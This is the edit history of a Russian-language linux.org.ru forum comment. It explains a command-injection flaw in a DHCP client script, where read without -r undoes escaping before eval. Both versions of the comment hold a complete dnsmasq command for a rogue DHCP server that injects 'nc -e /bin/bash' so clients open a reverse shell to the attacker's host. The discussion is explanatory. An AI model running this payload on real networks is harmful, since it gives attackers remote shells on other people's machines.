LINUX.ORG.RU

История изменений

Исправление legolegs, (текущая версия) :

Настоящий эксплоит в твитторе

Для Ъ:

dnsmasq --interface=eth0 --bind-interfaces --except-interface=lo --dhcp-range=10.1.1.1,10.1.1.10,1h --conf-file=/dev/null --dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1 --dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #"
(заставляет клиентов запускать шелл на 1337 порту. //К.О.)

Я не сразу допёр как это относится к коду из оп-поста (где eval). Но суть в том, что в скрипте dhcp-client все эти опции кладутся в переменные окружения, примерно так

DHCP4_DERP=herp\'\&date\ \#
Команда declare их при выводе опять же эскейпит, а вот команда read без ключа -r это экранирование разбирает (но не раскавычивает), в результате eval'у на вход подаётся не безопасное
export new_derp='herp'\''&date #'
а коварное
export new_derp='herp'''&date #'
в результате лишняя кавычка выпускает амперсанд на свободу, решётка зокомментировывает дисбалансную кавычку, а произвольный код выполняется

Исходная версия legolegs, :

Настоящий эксплоит в твитторе

Для Ъ:

dnsmasq --interface=eth0 --bind-interfaces --except-interface=lo --dhcp-range=10.1.1.1,10.1.1.10,1h --conf-file=/dev/null --dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1 --dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #"
(заставляет клиентов запускать шелл на 1337 порту. //К.О.)

Я не сразу допёр как это относится к коду из оп-поста (где eval). Но суть в том, что в скрипте dhcp-client все эти опции кладутся в переменные окружения, примерно так

DHCP4_DERP=herp\'\&date\ \#
Команда declare их при выводе опять же эскейпит, а вот команда read без ключа -r это экранирование разбирает, в результате eval'у на вход подаётся не безопасное
export new_derp='herp'\''&date #'
а коварное
export new_derp='herp'''&date #'